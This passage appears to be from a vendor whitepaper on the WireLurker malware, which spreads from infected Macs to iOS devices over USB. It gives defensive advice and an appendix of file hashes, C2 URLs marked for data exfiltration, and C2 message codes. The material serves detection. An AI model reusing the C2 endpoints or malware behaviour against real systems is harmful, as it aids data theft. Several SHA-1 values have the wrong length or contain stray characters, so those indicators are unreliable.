Proof of concepts for attacking non-jailbroken iOS devices over USB connections have been available for some time now. In May of 2013, Mathieu Renard described how to use a malicious USB accessory to install applications to iOS devices during a presentation at Hackito Ergo Sum. At Black Hat 2013, Billy Lau and others demonstrated a very similar attack using malicious device chargers.

However, it wasn’t until June 24, 2014, that Kaspersky Lab found an iOS version of the Mekie spyware using this technique on Windows and OS X computers in the wild. WireLurker is the second malware family known to employ this strategy. The notable difference between WireLurker and Mekie is that the WireLurker also targets non-jailbroken iOS devices.

Attacks Against Jailbroken Devices

From a trending perspective, it is clear that attacks against jailbroken iOS devices will continue to increase. During 2014, six new iOS malware families targeting jailbroken devices were found (three of which by Palo Alto Networks):

- **AdThief** infected and replaced the Advertisement ID of 75,000 devices
- **Unflod** hijacked all iTunes traffic to steal Apple IDs
- **Mekie** acted as a spyware and stole users’ Email, SMS and other IM’s log
- **AppBuyer** stole Apple IDs and bought apps in the background through emulated iTunes protocols
- **Xsser** is a RAT spreading broadly in Hong Kong
- **WireLurker**, the subject of this whitepaper

There are common characteristics across these malware families (except for the Mekie), including:

- They all targeted jailbroken devices
- They all used the Cydia Substrate framework or were hosted in some third-party Cydia repositories
- They all originated from China and mainly targeted Chinese users

Attacks Against Non-Jailbroken Devices

Historically, only two malware/adware families have been confirmed as successfully installed onto non-jailbroken iOS devices: the LBTM adware in September 2010 and the FindAndCall worm in July 2012. Since Apple removed them from the official App Store immediately after they were found, WireLurker is now the only known active, non-jailbroken malware threat putting over 800 million iOS devices at risk.
The use of enterprise provisioning to install applications on non-jailbroken devices is not a new concept. This technique has been widely abused by game fans and a number of Chinese application distribution platforms. Since January 2013, there have been at least five Mac/PC tools that have abused enterprise provisioning and the libimobiledevice library to install pirated applications on non-jailbroken devices in China: “PP Helper” (PP助手), “KuaiYong Helper” (快用助手), “91 Mobile Helper” (91手机助手), “KuaiZhuang” (快装) and “SouApple” (搜苹果). It is noteworthy that the “PP Helper” application is also downloaded and installed by WireLurker.

In September 2014, Tao Wei et al presented at Virus Bulletin on the risk of abusing Apple’s enterprise distribution program. According to their research, any application can bypass Apple review, arbitrarily invoke private iOS APIs, monitor user behavior and exploit vulnerabilities in a non-jailbroken iOS device by leveraging an enterprise provisioning profile. WireLurker is a prime example of how this is no longer a theoretical risk, but an active threat as seen in the wild.

**Actor Motivation**

The ultimate goal of the WireLurker attacks is not completely clear. The functionality and infrastructure allows the attacker to collect significant amounts of information from a large number of Chinese iOS and Mac OS systems, but none of the information points to a specific motive.

As infected devices regularly request updates from the attackers command and control server, new features or applications could be installed at any time. It’s clear the tool set is still undergoing active development and we believe WireLurker has not yet revealed its full functionality.

**Prevention, Detection, Containment and Remediation**

**Prevention**

The following are our recommendations to enterprises and users regarding prevention or mitigation of WireLurker or similar OS X or iOS malware threats:

- Enterprises should assure their mobile device traffic is routed through a threat prevention system using a mobile security application like GlobalProtect™.
- Employ an antivirus or security protection product for the Mac OS X system and keep its signatures up-to-date.
- In the OS X System Preferences panel under “Security & Privacy”, ensure “Allow apps downloaded from Mac App Store (or Mac App Store and identified developers)” is set.
- Do not download and run Mac applications or games from any third-party app store, download site or other untrusted source.
- Keep the iOS version on your device up-to-date.
- Do not accept any unknown enterprise provisioning profile unless an authorized, trusted party (e.g. your IT corporate help desk) explicitly instructs you to do so.
- Do not pair your iOS device with untrusted or unknown computers or devices
- Avoid powering your iOS device through chargers from untrusted or unknown sources.
- Similarly, avoid connecting iOS devices with untrusted or unknown accessories or computers (Mac or PC)
- Do not jailbreak your iOS device; If you do jailbreak it, only use credible Cydia community sources and avoid the use or storage of sensitive personal information on that device.

## Detection and Containment

From May 21, 2014, through September 28, 2014, five different WireLurker files (representing three different versions) were submitted to VirusTotal; however, none of the 55 threat detection engines employed by VirusTotal identified this threat (Figure 31). Our hope is that this report will contribute to improved detection rates.

In terms of network-based detection, Palo Alto Networks released two signatures (13748, 13749) to detect all WireLurker C2 communication traffic. When our customers receive an alert for WireLurker from our unified platform, they can block this traffic by deploying a strict policy.

For host-based detection, Mac and iOS users should check processes and files on their Mac computers and iOS devices. We wrote a Python script for OS X systems to detect known malicious and suspicious files, as well as applications that exhibit characteristics of infection. This script can be downloaded from the following URL:

https://github.com/PaloAltoNetworks-BD/WireLurkerDetector

Both unified platform alerting/blocking and the output of the Python script referenced above are meant to feed into incident response efforts, supporting containment (towards remediation) of this threat.
Remediation

If WireLurker is found on any OS X computer, we recommend the deletion of respective files and removal of applications reported by the script. As of the publication date of this report, the iOS component of WireLurker is only spread through an infected Mac computer; accordingly, if WireLurker is found on a Mac, we recommend inspection of all iOS devices that have connected with that computer. A quick check for iOS devices includes determining whether any unauthorized enterprise provisioning profiles were created by navigating to “Settings -> General -> Profile”. If an anomalous profile is found, it should be removed and a subsequent check of all applications should be performed. Delete any strange applications found on the device. For jailbroken devices, we recommend that you check whether the file “/Library/MobileSubstrate/DynamicLibraries/sfbase.dylib” exists. If so, you should delete it through a terminal connection, via an application like MobileTerminal or Secure Shell (SSH).

Acknowledgements

We would like to thank CDSQ from the WeiPhone Technical Group for forwarding user reports to us, Qū Chāo from Tencent Inc. for providing samples of WireLurker version B, and Hui Gao, Xin Ouyang, Zhi Xu and Jin Chen of Palo Alto Networks for making sure our customers are well protected by our products.

We would also like to thank Rob Downs and Ryan Olson of Palo Alto Networks for their great effort on improving this report’s accuracy, fluency and quality. Their works help all of us to understand the threat more clearly.
Appendix

SHA-1 Hashes of WireLurker Related Files

The following are the SHA-1 values of malicious files across the WireLurker lifecycle:

Original Files Used to Trojanize:

<table>
<thead>
<tr>
<th>Filename</th>
<th>SHA-1</th>
</tr>
</thead>
<tbody>
<tr>
<td>&lt;variable name&gt;</td>
<td>e2b9578780ae318dbdb949aac32a7d6e677d7d918</td>
</tr>
<tr>
<td>&lt;variable name&gt;</td>
<td>bb8bcb2cb928d66fa1f17e02fd2634ad38a477d6</td>
</tr>
<tr>
<td>start.sh</td>
<td>42ad4311f5e7520a4018609a9d81178c0c0f5</td>
</tr>
<tr>
<td>FontMap1.cfg</td>
<td>1f30ef7a16482805ab37785ae166408bd62f20</td>
</tr>
</tbody>
</table>

Downloaded Updates:

<table>
<thead>
<tr>
<th>Filename</th>
<th>SHA-1</th>
</tr>
</thead>
<tbody>
<tr>
<td>update.zip</td>
<td>1eb02ab858e84c961caff92d88f007f3e930e</td>
</tr>
<tr>
<td>start.sh</td>
<td>ddb152c140e45b6755b2822875c688ce3619e75</td>
</tr>
<tr>
<td>update</td>
<td>038dd6ea29a40da347e25fd8724ab4e8c48842</td>
</tr>
</tbody>
</table>

Dropped Files (version A):

<table>
<thead>
<tr>
<th>Filename</th>
<th>SHA-1</th>
</tr>
</thead>
<tbody>
<tr>
<td>machook</td>
<td>7adb6bf10437a378d185d2a1598737a5d3b67</td>
</tr>
<tr>
<td>watch.sh</td>
<td>bacc911ae4855af52c8211dd1be41c85e6f1f0</td>
</tr>
<tr>
<td>globalupdate</td>
<td>036176f39adbc32bc8bbddd9723f9a77f16338</td>
</tr>
<tr>
<td>com.apple.globalupdate.plist</td>
<td>1e92bc3259a514bcce39bac895f46c04cb22677b</td>
</tr>
<tr>
<td>com.apple.machook_damon.plist</td>
<td>5065133205234a3e2f5c3b2142a47526d7418f</td>
</tr>
<tr>
<td>sfbase.dylib</td>
<td>461b51dd595e07f3c82be7cfc1cc77da670605</td>
</tr>
</tbody>
</table>

Dropped Files (version B):

<table>
<thead>
<tr>
<th>Filename</th>
<th>SHA-1</th>
</tr>
</thead>
<tbody>
<tr>
<td>machook</td>
<td>4c04cc66b6a1edeb794f320/80289d1097829</td>
</tr>
<tr>
<td>itunesupdate</td>
<td>f153add40ea190232a438f51cd4569c94ab</td>
</tr>
<tr>
<td>globalupdate</td>
<td>036176f39adbc32bc8bbddd9723f9a77f16338</td>
</tr>
<tr>
<td>WatchProc</td>
<td>8f57ce045ed370d210d3e2e2c0/d261bd783c5167</td>
</tr>
<tr>
<td>com.apple.machook_damon.plist</td>
<td>5065133025234a3e2f5c3b2142a47526d7418f</td>
</tr>
<tr>
<td>com.apple.itunesupdate.plist</td>
<td>32cf3ead21079ed98ae50c7875ed1e91e76eb5c6</td>
</tr>
<tr>
<td>com.apple.globalupdate.plist</td>
<td>1e92bc3259a514bcce39bac895f46c04cb22677b</td>
</tr>
<tr>
<td>com.apple.watchproc.plist</td>
<td>1bc0b396f45b808b8839918b6054336bb0b621</td>
</tr>
<tr>
<td>start</td>
<td>0134bb87585a448caafe51218746e0703e1b7272</td>
</tr>
</tbody>
</table>
### Dropped Files (version C):

<table>
<thead>
<tr>
<th>Filename</th>
<th>SHA-1</th>
</tr>
</thead>
<tbody>
<tr>
<td>periodicdate</td>
<td>a0462626db593020682008a02f4f219dbd804d</td>
</tr>
<tr>
<td>systemkeychain-helper</td>
<td>3113e0ca6466d20b0f2dcb1e85ac107d749f1080</td>
</tr>
<tr>
<td>com.apple.MailServiceAgentHelper</td>
<td>890f545a79b18569294a706b5fc63c572b83b</td>
</tr>
<tr>
<td>com.apple.appstore.PluginHelper</td>
<td>5c81d704088757e5112207284b9c5e443d14722a</td>
</tr>
<tr>
<td>com.apple.periodic-dd-mm-yy.plist</td>
<td>d0710ab7770ca6e2002d1cf909a33cdff71f148b61</td>
</tr>
<tr>
<td>com.apple.systemkeychain-helper.plist</td>
<td>c6a502fd35ded43538d629add42356699a5f117</td>
</tr>
<tr>
<td>com.apple.MailServiceAgentHelper.plist</td>
<td>a3af7cf8900428142fe777d5306faba48ae9e5</td>
</tr>
<tr>
<td>com.apple.appstore.plughelper.plist</td>
<td>cd29821a8a47571dc8eae46b84441a56bd1833</td>
</tr>
<tr>
<td>stty5.11.pl</td>
<td>563b1ea0b1264b289c582fc6c313a6f76293c47b</td>
</tr>
<tr>
<td>libiodb.dylib</td>
<td>4e1b51d595c0703c82be7cfc1cc77da6700605</td>
</tr>
<tr>
<td>com.apple.Finde</td>
<td>Not available</td>
</tr>
</tbody>
</table>

### Malicious iOS Executable Files:

<table>
<thead>
<tr>
<th>Filename</th>
<th>SHA-1</th>
</tr>
</thead>
<tbody>
<tr>
<td>sfbase.dylib/libiodb.dylib</td>
<td>4e1b51d595c0703c82be7cfc1cc77da6700605</td>
</tr>
<tr>
<td>sfbase.dylib (4.0.0.0)</td>
<td>f097eb7af4ea778371a0df06583b0d8975be8</td>
</tr>
<tr>
<td>sfbase.dylib (4.0.0.1)</td>
<td>2a40a5eb350264195858e9fe78c290e4a18c4</td>
</tr>
<tr>
<td>start</td>
<td>0134bb75854a489ae5e5128746e0703b17272</td>
</tr>
<tr>
<td>stty5.11.pl</td>
<td>563b1ea0b1264b289c582fc6c313a6f76293c47b</td>
</tr>
</tbody>
</table>

### URLs for C2 Communication

The following are the HTTP URLs WireLurker used for C2 communication and their respective purpose:

<table>
<thead>
<tr>
<th>Code</th>
<th>Data Context</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.comeinbaby.com/mac/getversion.php">http://www.comeinbaby.com/mac/getversion.php</a></td>
<td>Checking for update (OS X)</td>
</tr>
<tr>
<td><a href="http://www.comeinbaby.com/mac/saveinfo.php">http://www.comeinbaby.com/mac/saveinfo.php</a></td>
<td>Exfiltration of system information</td>
</tr>
<tr>
<td><a href="http://www.comeinbaby.com/mac/getsoft.php">http://www.comeinbaby.com/mac/getsoft.php</a></td>
<td>Heartbeat</td>
</tr>
<tr>
<td><a href="http://www.comeinbaby.com/mac/getipa2.php">http://www.comeinbaby.com/mac/getipa2.php</a></td>
<td>Check for app to download</td>
</tr>
<tr>
<td><a href="http://www.comeinbaby.com/app/getversion.php">http://www.comeinbaby.com/app/getversion.php</a></td>
<td>Checking for update (iOS)</td>
</tr>
<tr>
<td><a href="http://www.comeinbaby.com/app/saveinfo.php">http://www.comeinbaby.com/app/saveinfo.php</a></td>
<td>Exfiltration of user data</td>
</tr>
<tr>
<td><a href="http://www.comeinbaby.com/app/app.php">http://www.comeinbaby.com/app/app.php</a></td>
<td>Check for app to download</td>
</tr>
<tr>
<td><a href="http://www.comeinbaby.com/getinsad/">http://www.comeinbaby.com/getinsad/</a></td>
<td>Check for app to download</td>
</tr>
<tr>
<td><a href="http://www.comeinbaby.com/mac_log/">http://www.comeinbaby.com/mac_log/</a></td>
<td>Check-in for malware</td>
</tr>
<tr>
<td><a href="http://www.comeinbaby.com/insad_log/">http://www.comeinbaby.com/insad_log/</a></td>
<td>Log application installation</td>
</tr>
<tr>
<td><a href="http://www.comeinbaby.com/start_log/">http://www.comeinbaby.com/start_log/</a></td>
<td>Log application start</td>
</tr>
<tr>
<td><a href="http://www.comeinbaby.com/updateerror/">http://www.comeinbaby.com/updateerror/</a></td>
<td>Report update error</td>
</tr>
</tbody>
</table>
**Version C Encrypted C2 Communication Codes**

The following is a list of WireLurker version C customized encryption C2 communication codes mapped to data context.

<table>
<thead>
<tr>
<th>Code</th>
<th>Data Context</th>
</tr>
</thead>
<tbody>
<tr>
<td>100</td>
<td>Hardware information for the connected iOS device</td>
</tr>
<tr>
<td>101</td>
<td>Enumeration of apps installed on the iOS device</td>
</tr>
<tr>
<td>102</td>
<td>Start of operations on an iOS device</td>
</tr>
<tr>
<td>103</td>
<td>No USB device found</td>
</tr>
<tr>
<td>104</td>
<td>An application was successfully installed on the iOS device</td>
</tr>
<tr>
<td>105</td>
<td>Whether an iOS device was paired with the OS X computer</td>
</tr>
<tr>
<td>106</td>
<td>Heartbeat packet</td>
</tr>
<tr>
<td>107</td>
<td>Hardware information of connected USB device</td>
</tr>
<tr>
<td>108</td>
<td>An iOS device was disconnected</td>
</tr>
<tr>
<td>200</td>
<td>Check for code update</td>
</tr>
<tr>
<td>201</td>
<td>Start send operation for the local log file</td>
</tr>
<tr>
<td>202</td>
<td>End send operation for the local log file</td>
</tr>
<tr>
<td>300</td>
<td>Check for iOS application to download</td>
</tr>
<tr>
<td>400</td>
<td>Code was run with root privileges</td>
</tr>
<tr>
<td>401</td>
<td>OS X user appears to be a developer</td>
</tr>
<tr>
<td>999</td>
<td>Current OS X system version</td>
</tr>
</tbody>
</table>